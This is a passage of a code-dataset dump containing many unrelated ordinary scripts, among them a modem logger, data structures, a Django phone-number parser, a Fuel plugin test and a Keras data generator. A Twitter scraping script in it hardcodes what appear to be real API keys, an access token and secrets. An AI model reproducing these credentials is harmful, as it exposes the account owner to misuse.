(CUR_STATUS['first']['type'] != LAST_STATUS['first']['type']):\n if (LAST_STATUS['first']['type'] == ''):\n LOGGER.info(f\"first interface is {CUR_STATUS['first']['type']}\")\n else:\n LOGGER.info(f\"first interface change from {LAST_STATUS['first']['type']} to {CUR_STATUS['first']['type']}\")\n \n if (CUR_STATUS['first']['status'] != LAST_STATUS['first']['status']):\n if (LAST_STATUS['first']['status'] == ''):\n LOGGER.info(f\"interface {CUR_STATUS['first']['type']} is {CUR_STATUS['first']['status']}\")\n else:\n LOGGER.info(f\"interface {CUR_STATUS['first']['type']} status changed from {LAST_STATUS['first']['status']} to {CUR_STATUS['first']['status']}\")\n \n\n second_link = link_status[1].split()\n CUR_STATUS['second']['type'] = second_link[second_link.index('link') + 2]\n CUR_STATUS['second']['status'] = second_link[second_link.index('status') + 2]\n \n if (CUR_STATUS['second']['type'] != LAST_STATUS['second']['type']):\n if (LAST_STATUS['second']['type'] == ''):\n LOGGER.info(f\"second interface is {CUR_STATUS['second']['type']}\")\n else:\n LOGGER.info(f\"second interface change from {LAST_STATUS['second']['type']} to {CUR_STATUS['second']['type']}\")\n \n if (CUR_STATUS['second']['status'] != LAST_STATUS['second']['status']):\n if (LAST_STATUS['second']['status'] == ''):\n LOGGER.info(f\"interface {LAST_STATUS['second']['type']} is {CUR_STATUS['second']['status']}\")\n else:\n LOGGER.info(f\"interface {LAST_STATUS['second']['type']} status changed from {LAST_STATUS['second']['status']} to {CUR_STATUS['second']['status']}\")\n\n if (CUR_STATUS['second']['status'] != 'Connected' and CUR_STATUS['first']['status'] != 'Connected'):\n LOGGER.critical('NO INTERFACE CONNECTION!!!!!!!!!!!!!!!!!!!!!!')\n \n LAST_STATUS = CUR_STATUS\n \n\n\nif __name__ == \"__main__\":\n LOGGER = G_LOGGER.G_LOGGER('components','modem').get_logger()\n loop = asyncio.get_event_loop()\n while True:\n loop.run_until_complete(check_status())\n time.sleep(10)\n\n \n \n \n\n","sub_path":"components/modem.py","file_name":"modem.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"260189978","text":"\n\n#calss header\nclass _FRANTIC():\n\tdef __init__(self,): \n\t\tself.name = \"FRANTIC\"\n\t\tself.definitions = [u'almost out of control because of extreme emotion, such as worry: ', u'done or arranged in a hurry and a state of excitement or confusion: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_frantic.py","file_name":"_frantic.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"303131327","text":"import json\n\nkeys= [\"user\", \"job_title\", \"job_description\", \"wage\", \"hours\", \"employer_name\", \"company_name\", \"neighborhood\", \"contact_method\", \"contact_info\"\n]\n\nanswers = {} # curly brackets for dictionaries\nprint(\"**************************************************\")\n\nfor items in range(len(keys)):\n\n user_answer = input(keys[items])\n answers[keys[items]] = user_answer #updates the list with one of the keys and the user's input\n\n#all_users.append(answers)\nprint(answers)\n\njobs = open(\"JobInfo.json\", \"a\")\n\ndump = json.dumps(answers)\njobs.write(dump)\njobs.write(\",\\n\")\n\njobs.close()\n","sub_path":"templates/Databases/JobInfoFunctions.py","file_name":"JobInfoFunctions.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"95358242","text":"# coding:utf-8\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\n\nstyle.use('fivethirtyeight')\nfig, ax = plt.subplots()\n\n# reload DataFrame from local pickle\ndf = pd.read_pickle('datas/ppi.pickle')\n\n# change string in data column to datetime\ndf['month'] = pd.to_datetime(df['month'])\n# make date as index\ndf.set_index(['month'], inplace=True)\ndf.sort_index(inplace=True)\n\n\n# '--' represent none value, and number is str format, correct them using this funciton.\ndef data_handle(x):\n if x == '--':\n return np.nan\n else:\n return np.float(x)\n\nfor i in df.columns:\n df[i] = df[i].map(data_handle)\n if 'rate' not in i:\n df[i].plot(ax=ax)\n\n# plot config\nax.set_xlabel('时间')\nax.set_ylabel('占比')\nplt.legend(loc='upper left', shadow=True)\nplt.title('工厂品出厂价格指数')\nplt.show()\n","sub_path":"tushare/12_ppi.py","file_name":"12_ppi.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388536293","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Mar 28 13:32:45 2019\r\n\r\n@author: deeps\r\n\"\"\"\r\n\r\n#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 13 11:34:15 2019\r\n\r\n@author: wajgilani\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\n#!pip install twitter\r\n\r\nfrom twitter import Twitter\r\nfrom twitter import OAuth\r\n\r\nfrom pandas.io.json import json_normalize\r\n\r\napikey='XnL8pCAcMHMIFMwW9mdcD9DSK'\r\napisecretkey='jmDiXeTytn9sCH44fbtPFfbwAxvEDdO8xWzdZp2gd4uvAfrf3K'\r\naccesstoken='1103744573086597129-4bw6mdWHxlf922V8Dzd5x8NzVuwtSV'\r\naccesstokensecret='ncXYufRwFUDyC93YfIFZpMrtf6bKV7eJNOeJTDCjiiwdJ'\r\n\r\noauth = OAuth(accesstoken,accesstokensecret,apikey,apisecretkey)\r\napi = Twitter(auth=oauth)\r\n\r\ntjson=api.statuses.user_timeline(screen_name=\"realDonaldTrump\",tweet_mode='extended',count = 200)\r\ndftrump=json_normalize(tjson)\r\ndftrump.shape\r\n\r\ndftrump['id']\r\n\r\nmid = dftrump['id'].min()\r\nmid=mid-1\r\ntjson2=api.statuses.user_timeline(screen_name=\"realDonaldTrump\",tweet_mode='extended',count = 200,max_id = mid)\r\ndftrump2=json_normalize(tjson2)\r\n\r\nmid_l=dftrump2['id'].max()\r\n\r\na=pd.Series([1,2,3,4,5])\r\nb=pd.Series([10,20,30,40,50])\r\nc=pd.Series([6,7,8,9,10])\r\nd=pd.Series([60,70,80,90,100])\r\n\r\ndfa=pd.DataFrame({'a':a,'b':b})\r\ndfb=pd.DataFrame({'a':c,'b':d})\r\ndfc=pd.concat([dfa,dfb])\r\ndfd=pd.concat([dfa,dfb], ignore_index=True)\r\n\r\n\r\ndf = pd.DataFrame()\r\nmid=0\r\nfor i in range(34):\r\n if i==0:\r\n tjson=api.statuses.user_timeline(screen_name=\"realDonaldTrump\",tweet_mode='extended',count = 200)\r\n else:\r\n tjson=api.statuses.user_timeline(screen_name=\"realDonaldTrump\",tweet_mode='extended',count = 200,max_id = mid)\r\n if len(tjson)>0:\r\n dftrump=json_normalize(tjson)\r\n mid=dftrump['id'].min()\r\n mid=mid-1\r\n #df = df.append(df,ignore_index=True)\r\n df = pd.concat([df, dftrump], ignore_index=True)\r\n \r\n\r\ndf.shape\r\n\r\n\r\n\r\n\r\n","sub_path":"Twitter API Part-2.py","file_name":"Twitter API Part-2.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"104188888","text":"\n\n\n\n\n\n\n\n# r.mapcalc expression=\"pca1a_CC\" = \"pca1a@PERMANENT\" * \"x372_06RY_CC_100m@PERMANENT\"\n# r.mapcalc expression=\"pca1b_CC\" = \"pca1b@PERMANENT\" * \"x372_06RY_CC_100m@PERMANENT\"\n# r.mapcalc expression=\"pca1b_DE\" = \"pca1b@PERMANENT\" * \"x372_09RY_DE_100m@PERMANENT\" \n# r.mapcalc expression=\"pca1a_DE\" = \"pca1a@PERMANENT\" * \"x372_09RY_DE_100m@PERMANENT\"\n# r.mapcalc expression=\"pca1a_HIDR\" = \"pca1a@PERMANENT\" * \"x372_25RY_HIDR_100m@PERMANENT\"\n# r.mapcalc expression=\"pca1b_HIDR\" = \"pca1b@PERMANENT\" * \"x372_25RY_HIDR_100m@PERMANENT\"\n# r.mapcalc expression=\"pca1b_CP\" = \"pca1b@PERMANENT\" * \"x372_34RY_CP_100m@PERMANENT\" \n# r.mapcalc expression=\"pca1a_CP\" = \"pca1a@PERMANENT\" * \"x372_34RY_CP_100m@PERMANENT\"\n\ncapas = {'CP':\"x372_34RY_CP_100m@PERMANENT\",\n 'HIDR':\"x372_25RY_HIDR_100m@PERMANENT\",\n 'DE':\"x372_09RY_DE_100m@PERMANENT\",\n 'CC':\"x372_06RY_CC_100m@PERMANENT\"}\n\nmascaras = [\"pca1a1_mask\",\n \"pca1a2_mask\",\n \"pca1b1_mask\",\n \"pca1b2_mask\"]\n\n# for mascara in mascaras:\n# cadena = 'r.null map='+mascara+'@PERMANENT setnull=0'\n# print (cadena)\n\n\ninsumos_intermedios =[]\nfor mascara in mascaras:\n for k,v in capas.items():\n nombre_salida = mascara.split(\"_\")[0]+\"_\"+k\n #print(\"---\")\n cadena = 'r.mapcalc expression=\"'+mascara.split(\"_\")[0]+\"_\"+k+' = '+mascara+'@PERMANENT * '+v+'\"'\n insumos_intermedios.append(nombre_salida)\n #print (cadena)\n\n#print (insumos_intermedios)\n\n\npca_salidas=['pca1a1','pca1a2','pca1b1','pca1b2']\n\nfor pca in pca_salidas:\n cadena ='i.pca --overwrite input='\n for insumo_int in insumos_intermedios:\n if pca in insumo_int:\n cadena+=insumo_int+\"@PERMANENT,\"\n print (cadena[:-1]+' output='+pca+' rescale=1,11')\n\n\n","sub_path":"codigos/temp_politetico.py","file_name":"temp_politetico.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"117860049","text":"import math\n\n\nclass SegmentTree(object):\n __slots__ = [\"elem_size\", \"tree\", \"default\", \"op\"]\n\n def __init__(self, a: list, default: int, op):\n real_size = len(a)\n self.elem_size = elem_size = 1 << math.ceil(math.log2(real_size))\n self.tree = tree = [default] * (elem_size * 2)\n tree[elem_size:elem_size+real_size] = a\n self.default = default\n self.op = op\n\n for i in range(elem_size - 1, 0, -1):\n tree[i] = op(tree[i << 1], tree[(i << 1)+1])\n\n def get_value(self, x: int, y: int) -> int:\n l, r = x + self.elem_size, y + self.elem_size\n tree, result, op = self.tree, self.default, self.op\n while l < r:\n if l & 1:\n result = op(tree[l], result)\n l += 1\n if r & 1:\n r -= 1\n result = op(tree[r], result)\n l, r = l >> 1, r >> 1\n\n return result\n\n def set_value(self, i: int, value: int) -> None:\n k = self.elem_size + i\n self.tree[k] = value\n self.update(k)\n\n def update(self, i: int) -> None:\n op, tree = self.op, self.tree\n while i > 1:\n i >>= 1\n tree[i] = op(tree[i << 1], tree[(i << 1) + 1])\n\n\nclass FenwickTree(object):\n __slots__ = [\"elem_size\", \"tree_size\", \"tree\", \"default\"]\n\n def __init__(self, a: list, init: bool = False):\n tree_size = len(a)\n if init:\n add = self.add\n tree = [0]*(tree_size+1)\n for i in range(tree_size):\n add(i, a[i])\n self.tree = tree\n\n else:\n self.tree = a\n\n def sum(self, n, m):\n n, m = n+1, m+1\n tree = self.tree\n value = 0\n for i in range(len(bin(m))-2):\n if m & 1 << i:\n value += tree[m]\n m -= 1 << i\n\n if n > 1:\n for i in range(len(bin(n))-2):\n if n & 1 << i:\n value -= tree[n]\n n -= 1 << i\n\n return value\n\n def add(self, n, value):\n n += 1\n tree = self.tree\n for i in range(len(bin(n))-2):\n if n & 1 << i:\n tree[n] += value\n\n\nclass UnionFind(object):\n __slots__ = [\"nodes\"]\n\n def __init__(self, n: int) -> None:\n self.nodes = [-1]*n\n\n def get_root(self, x: int) -> int:\n if x < 0:\n raise ValueError(\"Negative Index\")\n\n if self.nodes[x] < 0:\n return x\n else:\n self.nodes[x] = self.get_root(self.nodes[x])\n return self.nodes[x]\n\n def unite(self, x: int, y: int) -> None:\n if x < 0 or y < 0:\n raise ValueError(\"Negative Index\")\n\n root_x, root_y = self.get_root(x), self.get_root(y)\n if root_x != root_y:\n bigroot, smallroot = \\\n (root_x, root_y) if self.nodes[root_x] < self.nodes[root_y] else (root_y, root_x)\n self.nodes[bigroot] += self.nodes[smallroot]\n self.nodes[smallroot] = bigroot\n\n\nclass WeightedUnionFind(object):\n __slots__ = [\"nodes\", \"weight\"]\n\n def __init__(self, n: int) -> None:\n self.nodes = [-1]*n\n self.weight = [0]*n\n\n def get_root(self, x: int) -> int:\n if x < 0:\n raise ValueError(\"Negative Index\")\n\n if self.nodes[x] < 0:\n return x\n else:\n root = self.get_root(self.nodes[x])\n self.weight[x] += self.weight[self.nodes[x]]\n self.nodes[x] = root\n return root\n\n def relate(self, smaller: int, bigger: int, diff_weight: int) -> None:\n if smaller < 0 or bigger < 0:\n raise ValueError(\"Negative Index\")\n\n root_a, root_b = self.get_root(smaller), self.get_root(bigger)\n new_weight = diff_weight + self.weight[smaller] - self.weight[bigger]\n\n if root_a == root_b:\n # 問題によっては必要かも（情報に矛盾があるなら-1を出力など）\n if self.weight[smaller] + diff_weight == self.weight[bigger]:\n return\n raise ValueError(\"relateに矛盾あり\")\n\n if self.nodes[root_a] > self.nodes[root_b]:\n root_a, root_b, new_weight = root_b, root_a, -new_weight\n\n self.nodes[root_a] += self.nodes[root_b]\n self.nodes[root_b] = root_a\n self.weight[root_b] = new_weight\n\n def diff(self, x: int, y: int) -> int:\n root_x, root_y = self.get_root(x), self.get_root(y)\n if root_x != root_y:\n return None\n return self.weight[y] - self.weight[x]","sub_path":"lib/data_structure.py","file_name":"data_structure.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"444021535","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__version__ = 1.0\n__author__ = \"Tozammel Hossain\"\n__email__ = \"tozammel@isi.edu\"\n\n\nclass MetaDatasetClass:\n def __init__(self, filepath, name, country=None, city=None, actor=None,\n exogfilepath=None):\n self.filepath = filepath\n self.name = name\n self.country = country\n self.city = city\n self.actor = actor\n self.exog_filepath = exogfilepath\n\n\nclass CustomTimeSeries:\n def __init__(self, ts=None, name=None, type=None):\n \"\"\"\n\n :type type: str\n \"\"\"\n self.ts = ts\n self.name = name\n self.type = type\n\n def set_ts(self, ts):\n self.ts = ts\n\n\nclass TimeSeries:\n def __init__(self, ts, name=None, start_date=None, end_date=None):\n self.ts = ts\n self.name = name\n self.start_date = start_date\n self.end_date = end_date\n\n def plot(self, outfilepath=None):\n pass\n\n def describe(self):\n print(\"Name =\", self.name)\n print(\"#entries =\", self.ts.size)\n print(\"first date =\", self.ts.index.min())\n print(\"last date =\", self.ts.index.max())\n print(\"start date =\", self.start_date)\n print(\"end date =\", self.end_date)\n\n def set_start_date(self, start_date):\n self.start_date = start_date\n\n def set_end_date(self, end_date):\n self.end_date = end_date\n\n def set_start_end_date(self, start_date, end_date):\n self.start_date = start_date\n self.end_date = end_date\n\n def get_sliced_ts(self):\n if self.start_date is None:\n sd = self.ts.index.min()\n else:\n sd = self.start_date\n\n if self.end_date is None:\n ed = self.ts.index.max()\n else:\n ed = self.end_date\n return self.ts[sd: ed]\n","sub_path":"datacuration/data_struct.py","file_name":"data_struct.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"438821355","text":"from django.http import HttpResponse, HttpResponseBadRequest\nfrom django.shortcuts import render\nimport re\nimport simplejson\n\n\ndef index(request):\n context = {}\n return render(request, 'pparser/index.html', context)\n\ndef parse(request):\n \n if(request.POST['phones'] != ''):\n # In the form we replaced \\n with ||\n phones = request.POST['phones'].split('||')\n resp_pn = []\n for phone in phones: \n phone2 = re.sub(\"[^\\d^\\-^.]\",\"\",phone)\n # Regular Expression Per NANP rules NXXNXXXXXX where NXX blocks 2nd and 3rd digits cannot both be 1.\n # We could use re.search if there always just one phone number on each line\n match = re.findall(r\"((?:1)?(?P[2-9](?!11)[0-9]{2})[-. ]?(?P[2-9](?!11)[0-9]{2})[-. ]?(?P[0-9]{4}))\", phone2)\n for m in match:\n # If we used re.search we could just use expand to place everything where it belongs.\n #resp_pn.append(match.expand(\"(\\g) \\g-\\g\"))\n resp_pn.append(\"(\" + m[1] + \") \" + m[2] + \"-\" + m[3])\n resp = {\n 'phones': resp_pn\n }\n return HttpResponse(simplejson.dumps(resp), content_type='application/json')\n else:\n error = {\n 'error': {\n 'code': 1000,\n 'message': 'Phone Numbers cannot be empty'\n }\n }\n # Make sure to return a 400 error if the text was empty\n return HttpResponseBadRequest(simplejson.dumps(error), content_type='application/json')","sub_path":"phone_parser/pparser/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"632944191","text":"# Copyright 2015 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\n\nfrom proboscis import asserts\nfrom proboscis import test\n\nfrom fuelweb_test.helpers import checkers\nfrom fuelweb_test import logger\nfrom fuelweb_test.settings import DEPLOYMENT_MODE\nfrom fuelweb_test.settings import NEUTRON_SEGMENT_TYPE\nfrom fuelweb_test.tests.base_test_case import SetupEnvironment\nfrom fuelweb_test.tests.base_test_case import TestBasic\nfrom fuelweb_test.helpers.fuel_actions import FuelPluginBuilder\nfrom fuelweb_test.helpers.decorators import log_snapshot_after_test\nfrom proboscis.asserts import assert_equal\n\n\n@test(groups=[\"fuel_plugins\"])\nclass VipReservation(TestBasic):\n \"\"\"Test class for testing allocation of vip for plugin.\"\"\"\n\n @test(depends_on=[SetupEnvironment.prepare_slaves_3],\n groups=[\"vip_reservation_for_plugin\",\n \"vip_reservation_for_plugin_vlan\",\n \"vip_reservation_for_plugin_vxlan\"])\n @log_snapshot_after_test\n def vip_reservation_for_plugin(self):\n \"\"\"Check vip reservation for fuel plugin.\n\n Scenario:\n 1. Revert snapshot with 3 nodes\n 2. Download and install fuel-plugin-builder\n 3. Create plugin with predefined network_roles.yaml\n 4. Build and copy plugin from container nailgun\n 5. Install plugin to fuel\n 6. Create cluster and enable plugin\n 7. Deploy cluster\n 8. Check vip reservation\n\n Duration 40m\n \"\"\"\n plugin_name = 'vip_reservation_plugin'\n plugin_path = '/var'\n dir_path = os.path.dirname(os.path.abspath(__file__))\n tasks_file = 'tasks.yaml'\n net_role_file = 'network_roles.yaml'\n metadata_file = 'metadata.yaml'\n\n self.env.revert_snapshot(\"ready_with_3_slaves\")\n\n admin_remote = self.env.d_env.get_admin_remote()\n # initiate fuel plugin builder instance\n fpb = FuelPluginBuilder(admin_remote)\n # install fuel_plugin_builder on master node\n fpb.fpb_install()\n # create plugin template on the master node\n fpb.fpb_create_plugin(plugin_name)\n # replace plugin tasks, metadata, network_roles\n fpb.fpb_replace_plugin_content(\n os.path.join(dir_path, net_role_file),\n os.path.join('/root/', plugin_name, net_role_file))\n fpb.fpb_replace_plugin_content(\n os.path.join(dir_path, tasks_file),\n os.path.join('/root/', plugin_name, tasks_file))\n fpb.fpb_replace_plugin_content(\n os.path.join(dir_path, metadata_file),\n os.path.join('/root/', plugin_name, metadata_file))\n # build plugin\n fpb.fpb_build_plugin(os.path.join('/root/', plugin_name))\n # copy plugin archive file from nailgun container\n # to the /var directory on the master node\n fpb.fpb_copy_plugin_from_container(plugin_name, plugin_path)\n # let's install plugin\n checkers.install_plugin_check_code(\n admin_remote,\n plugin=os.path.join(plugin_path, '{}.rpm'.format(plugin_name)))\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n \"net_provider\": 'neutron',\n \"net_segment_type\": NEUTRON_SEGMENT_TYPE\n }\n )\n # get plugins from fuel and enable our one\n msg = \"Plugin couldn't be enabled. Check plugin version. Test aborted\"\n asserts.assert_true(\n self.fuel_web.check_plugin_exists(cluster_id, plugin_name),\n msg)\n options = {'metadata/enabled': True}\n self.fuel_web.update_plugin_data(cluster_id, plugin_name, options)\n\n logger.info('cluster is %s' % str(cluster_id))\n\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller'],\n 'slave-02': ['compute']}\n )\n self.fuel_web.deploy_cluster_wait(cluster_id)\n\n self.fuel_web.run_ostf(cluster_id=cluster_id)\n\n remote = self.fuel_web.get_ssh_for_node('slave-01')\n #get vips from hiera\n reserved_vip_pub = remote.execute(\n 'hiera reserved_vip_pub')['stdout'][1].split('\"')[3]\n reserved_vip_mng = remote.execute(\n 'hiera reserved_vip_mng')['stdout'][1].split('\"')[3]\n #get vips from database\n reserved_vip_pub_db = self.env.postgres_actions.run_query(\n db='nailgun', query=\"select ip_addr from ip_addrs where \"\n \"vip_type = '\\\"'\\\"'reserved_vip_pub'\\\"'\\\"';\")\n reserved_vip_mng_db = self.env.postgres_actions.run_query(\n db='nailgun', query=\"select ip_addr from ip_addrs where \"\n \"vip_type = '\\\"'\\\"'reserved_vip_mng'\\\"'\\\"';\")\n\n assert_equal(reserved_vip_pub, reserved_vip_pub_db,\n \"Vip public from hiera output {0} does not equal to \"\n \"vip public from database {1}\".format(\n reserved_vip_pub, reserved_vip_pub_db))\n assert_equal(reserved_vip_mng, reserved_vip_mng_db,\n \"Vip management from hiera output {0} does not equal to \"\n \"vip management from database {1}\".format(\n reserved_vip_mng, reserved_vip_mng_db))\n","sub_path":"fuelweb_test/tests/plugins/plugin_vip_reservation/test_plugin_vip_reservation.py","file_name":"test_plugin_vip_reservation.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"143261339","text":"import stanza\n#stanza.download('fr')\nnlp = stanza.Pipeline('fr')\n#nlp = stanza.Pipeline('fr', use_gpu=False)\nfor text in [\"Quelles sont les giraffes ?\", \"Léo est-il une giraffe ?\",\\\n \"Gigi est-elle une giraffe ?\", \"Que sait-on sur Léo ?\"]:\n doc=nlp(text)\n for sent in doc.sentences:\n for token in sent.words:\n print(token.id, token.text, token.upos, token.feats,\\\n token.lemma, token.head, token.deprel)","sub_path":"imt_nlp/tp10_ont/stanza_exp.py","file_name":"stanza_exp.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"367590141","text":"#!/usr/bin/env python\n# Written by Kristoffer Rakstad Solberg, Student\n# Copyright (c) 2019 Manta AUV, Vortex NTNU.\n# All rights reserved.\n\nimport rospy\nimport numpy as np\nfrom vortex_msgs.msg import PropulsionCommand\nfrom geometry_msgs.msg import Pose\n\n\nclass Waypoints:\n\n def referenceModel(self,last, next, time):\n \n a = 0.3\n self.new_arr = [last.position.x, last.position.y, last.position.z]\n next_arr = [next.position.x, next.position.y, next.position.z]\n \n\n for i in range (len(next_arr)):\n \n # calculate current distance\n if (next_arr[i] < 0 and self.new_arr[i] > 0) or (next_arr[i] > 0 and self.new_arr[i] < 0):\n distance = np.absolute(self.new_arr[i])+np.absolute(next_arr[i]) \n else:\n distance = np.absolute(np.absolute(self.new_arr[i])-np.absolute(next_arr[i]))\n \n \n # next waypoint\n if next_arr[i] < self.new_arr[i]:\n self.new_arr[i] = self.new_arr[i] - distance*(1-np.exp(-a*time))\n else:\n self.new_arr[i] = self.new_arr[i] + distance*(1-np.exp(-a*time))\n\n return self.new_arr\n\n \n \n def publishWaypoint(self):\n\n # init Position\n last = Pose()\n last.position.x = 5.0\n last.position.y = -10.0\n last.position.z = 0.0\n \n # set position\n next = Pose()\n next.position.x = 14.0\n next.position.y = 1.0\n next.position.z = -5.0\n\n # Set mode\n mode = PropulsionCommand()\n mode.control_mode = [\n (False),\n (False),\n (False),\n (False),\n (False),\n (False),\n ]\n\n # Get time stamp\n mode.header.stamp = rospy.get_rostime()\n dt = 0.05\n time = 0\n #smooth_wp = Pose()\n\n while not rospy.is_shutdown():\n \n #wp_arr = self.referenceModel(last, next, time)\n #print (\"error : \", wp_arr) \n ## update waypoint\n #smooth_wp.position.x = wp_arr[0]\n #smooth_wp.position.y = wp_arr[1]\n #smooth_wp.position.z = wp_arr[2]\n \n # set waypoint\n self.pub_wp.publish(next)\n self.pub_mode.publish(mode)\n self.rate.sleep()\n time += dt\n\n\n #constructor of the class\n #self refers to the instance of the object (like \"this\" in C++)\n #__init__ gets called when memory of the object is allocated\n def __init__(self): \n \n # Initialize the node and name it\n rospy.init_node('waypointPublisher')\n\n # spin rate\n self.rate = rospy.Rate(20) #20hz \n\n # ROS infrastructure\n self.pub_wp = rospy.Publisher('/manta/waypoints', Pose, queue_size=1)\n self.pub_mode = rospy.Publisher('/manta/mode', PropulsionCommand, queue_size=1)\n\n # spin\n self.publishWaypoint()\n\n\n\n# ROS spin\nif __name__ == '__main__':\n try:\n node = Waypoints()\n except rospy.ROSInterruptException:\n print('caught exeption')\n print('exiting') \n","sub_path":"guidance/trajectory_generator/src/static_waypoints.py","file_name":"static_waypoints.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"376997346","text":"A = float(input())\nB = float(input())\nC = float(input())\n\nareaTri = (A * C)/2\nareaCir = 3.14159 * C**2\nareaTra = ((A + B) * C)/2\nareaQuad = B**2\nareaReta = A*B\n\nprint(\"TRIANGULO: {:.3f}\".format(areaTri))\nprint(\"CIRCULO: {:.3f}\".format(areaCir))\nprint(\"TRAPEZIO: {:.3f}\".format(areaTra))\nprint(\"QUADRADO: {:.3f}\".format(areaQuad))\nprint(\"RETANGULO: {:.3f}\".format(areaReta))","sub_path":"1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"460830484","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom data_util import load_image, get_patch\nfrom os.path import join\nimport keras\nimport keras.backend as K\nimport numpy as np\nimport pandas as pd\n\n\nclass PatchGenerator:\n\n def __init__(self, input_dir, dataframe, batch_size, dataset = 'train', res='v', augmentation_fn=None):\n self.input_dir = input_dir\n self.batch_size = batch_size\n self.dataset = dataset\n self.res = res\n self.augmentation_fn = augmentation_fn\n self.df = dataframe\n\n self.n_samples = len(self.df)\n self.n_batches = self.n_samples // self.batch_size\n\n print('PatchGenerator detected: {n_samples} patch samples.'.format(n_samples=self.n_samples))\n\n def __iter__(self):\n return self\n\n def __next__(self):\n return self.next()\n\n def __len__(self):\n return self.n_batches\n\n def next(self):\n df_2 = self.df.loc[self.df['histology'] == '2', :].sample(self.batch_size//3, replace=False)\n df_20 = self.df.loc[self.df['histology'] == '20', :].sample(self.batch_size//3, replace=False)\n rest = self.batch_size - (len(df_2) + len(df_20))\n df_21 = self.df.loc[self.df['histology'] == '21', :].sample(rest, replace=False)\n\n df_batch = pd.concat([df_2, df_20, df_21])\n\n images = []\n labels = []\n for index, row in df_batch.iterrows():\n try:\n pID = row['patientID']\n sID = row['studyID']\n sNa = row['scanName']\n\n image_full = load_image(pID, sID, sNa, datadir=self.input_dir, dataset = self.dataset, res=self.res)\n label = row['histology']\n\n if self.res == 'v':\n infix = 'Low'\n else:\n infix = 'High'\n coordinates = (int(row['annotation{}Resolution{}'.format(infix, i)]) for i in [1, 2, 3])\n\n image = get_patch(image_full, coordinates, size=(70,70,40))\n\n if self.augmentation_fn:\n image = self.augmentation_fn(image)\n\n images.append(image)\n\n if label == '2':\n labels.append((1, 0, 0))\n elif label == '20':\n labels.append((0, 1, 0))\n elif label == '21':\n labels.append((0, 0, 1))\n except Exception as e:\n print('Failed reading idx {idx}...'.format(idx=index))\n\n batch_x = np.stack(images).astype(K.floatx())\n batch_y = np.stack(labels).astype(K.floatx())\n\n return batch_x, batch_y\n\n\nclass PatchSequence(keras.utils.Sequence):\n\n def __init__(self, input_dir, dataframe, batch_size, dataset='train', res='v'):\n self.input_dir = input_dir\n self.df = dataframe\n self.batch_size = batch_size\n self.res = res\n self.dataset = dataset\n\n self.n_samples = len(self.df)\n self.n_batches = int(np.ceil(self.n_samples / self.batch_size))\n\n # Print some info\n print('PatchSequence detected: {n_samples} patch samples.'.format(n_samples=len(self.df)))\n\n def __len__(self):\n return self.n_batches\n\n def get_all_labels(self):\n if self.dataset == 'train':\n return self.df.loc[:, 'histology'].values.astype(K.floatx())\n return None\n\n def __getitem__(self, idx):\n # idx indexes batches, not samples\n\n # Provide batches of samples\n images = []\n labels = []\n\n # Create indexes for samples\n idx1 = idx * self.batch_size\n idx2 = np.min([idx1 + self.batch_size, self.n_samples])\n idxs = np.arange(idx1, idx2)\n\n # Iterate over samples\n for i in idxs:\n try:\n\n # get the row\n row = self.df.iloc[i, :]\n\n # read data and label\n pID = row['patientID']\n sID = row['studyID']\n sNa = row['scanName']\n\n # load the full image\n image_full = load_image(patient_id = pID,\n study_id = sID,\n scan_name = sNa, \n 